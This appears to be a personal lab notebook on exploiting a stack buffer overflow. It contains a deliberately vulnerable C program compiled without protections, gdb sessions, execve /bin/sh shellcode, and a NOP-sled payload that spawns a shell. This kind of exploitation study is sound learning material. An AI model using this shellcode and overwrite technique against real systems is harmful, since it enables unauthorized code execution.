#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char *ptr;
if(argc < 3) {
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* Get env var location. */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void foo(char *mes)
{
char buf[20];
strcpy(buf, mes);
}
int main(int argc, char **argv)
{
if (argc != 2) {
printf("Usage: %s <string>\n", argv[0]);
exit(1);
}
foo(argv[1]);
return 0;
}

gcc -z execstack -fno-stack-protector -Wall -g overflow.c -o overflow

(gdb) disass main
Dump of assembler code for function main:
0x08048496 <+0>: push ebp
0x08048497 <+1>: mov ebp,esp
0x08048499 <+3>: and esp,0xfffffff0
0x0804849c <+6>: sub esp,0x10
0x0804849f <+9>: cmp DWORD PTR [ebp+0x8],0x2
0x080484a3 <+13>: je 0x80484c6 <main+48>
0x080484a5 <+15>: mov eax,DWORD PTR [ebp+0xc]
0x080484a8 <+18>: mov eax,DWORD PTR [eax]
0x080484aa <+20>: mov DWORD PTR [esp+0x4],eax
0x080484ae <+24>: mov DWORD PTR [esp],0x8048570
0x080484b5 <+31>: call 0x8048330 <printf@plt>
0x080484ba <+36>: mov DWORD PTR [esp],0x1
0x080484c1 <+43>: call 0x8048360 <exit@plt>
0x080484c6 <+48>: mov eax,DWORD PTR [ebp+0xc]
0x080484c9 <+51>: add eax,0x4
0x080484cc <+54>: mov eax,DWORD PTR [eax]
0x080484ce <+56>: mov DWORD PTR [esp],eax
0x080484d1 <+59>: call 0x804847c <foo>
0x080484d6 <+64>: mov eax,0x0
0x080484db <+69>: leave
0x080484dc <+70>: ret
End of assembler dump.

(gdb) break 10
Breakpoint 1 at 0x8048494: file overflow.c, line 10.
(gdb) run AAAA
Starting program: /home/quan/bt/btc/shellcode/overflow AAAA
Breakpoint 1, foo (mes=0xbffff427 "AAAA") at overflow.c:10
10 }
(gdb) i r esp ebp
esp 0xbffff160 0xbffff160
ebp 0xbffff198 0xbffff198
(gdb) x/20xw $esp
0xbffff160: 0xbffff17c 0xbffff427 0xbffff402 0xb7fc0000
0xbffff170: 0x080484e0 0x08048380 0x00000000 0x41414141
0xbffff180: 0xb7fc0300 0x00000002 0x0804a000 0x08048532
0xbffff190: 0x00000002 0xbffff254 0xbffff1b8 0x080484d6
0xbffff1a0: 0xbffff427 0x00000000 0x080484eb 0xb7fc0000
(gdb) cont
Continuing.
[Inferior 1 (process 3161) exited normally]

BITS 32
; execve(const char *filename, char *const argv[], char *const envp[])
xor eax, eax
push eax
push 0x68732f2f ; Push "//sh" to the stack.
push 0x6e69622f ; Push "/bin" to the stack.
mov ebx, esp
push eax
mov ecx, esp
push eax
mov edx, esp
mov al, 11
int 0x80

quan@quantran:~/bt/btc/shellcode$ nasm shell.s
quan@quantran:~/bt/btc/shellcode$ export EGG=$(perl -e 'print "\x90"x200')$(cat shell)
quan@quantran:~/bt/btc/shellcode$ gdb -q ./overflow
Reading symbols from /home/quan/bt/btc/shellcode/overflow...done.
(gdb) break main
Breakpoint 1 at 0x804849f: file overflow.c, line 14.
(gdb) run
Starting program: /home/quan/bt/btc/shellcode/overflow
Breakpoint 1, main (argc=1, argv=0xbffff174) at overflow.c:14
14 if (argc != 2) {
(gdb) x/30s $esp + 0x260
...
0xbffff4f1: "EGG=", '\220' <repeats 196 times>...
0xbffff5b9: "\220\220\220\220\061\300Ph//shh/bin\211\343P\211\341P\211\342\260\v̀"
...
(gdb) cont
Continuing.
Usage: /home/quan/bt/btc/shellcode/overflow <string>
[Inferior 1 (process 3729) exited with code 01]
(gdb) quit
quan@quantran:~/bt/btc/shellcode$

quan@quantran:~/bt/btc/shellcode$ ./overflow $(perl -e 'print "\x90"x32 . "\x50\xf5\xff\xbf"')
Segmentation fault (core dumped)
quan@quantran:~/bt/btc/shellcode$ gdb -q ./overflow
Reading symbols from /home/quan/bt/btc/shellcode/overflow...done.
(gdb) run $(perl -e 'print "\x90"x32 . "\x50\xf5\xff\xbf"')
Starting program: /home/quan/bt/btc/shellcode/overflow $(perl -e 'print "\x90"x32 . "\x50\xf5\xff\xbf"')
process 3810 is executing new program: /bin/dash
$ ls
Makefile aa.c helloworld helloworld.s overflow overflow.c shell shell.s test test.c
$
[Inferior 1 (process 3810) exited normally]
(gdb) quit
quan@quantran:~/bt/btc/shellcode$ ./overflow $(perl -e 'print "\x90"x32 . "\x50\xf5\xff\xbf"')
Segmentation fault (core dumped)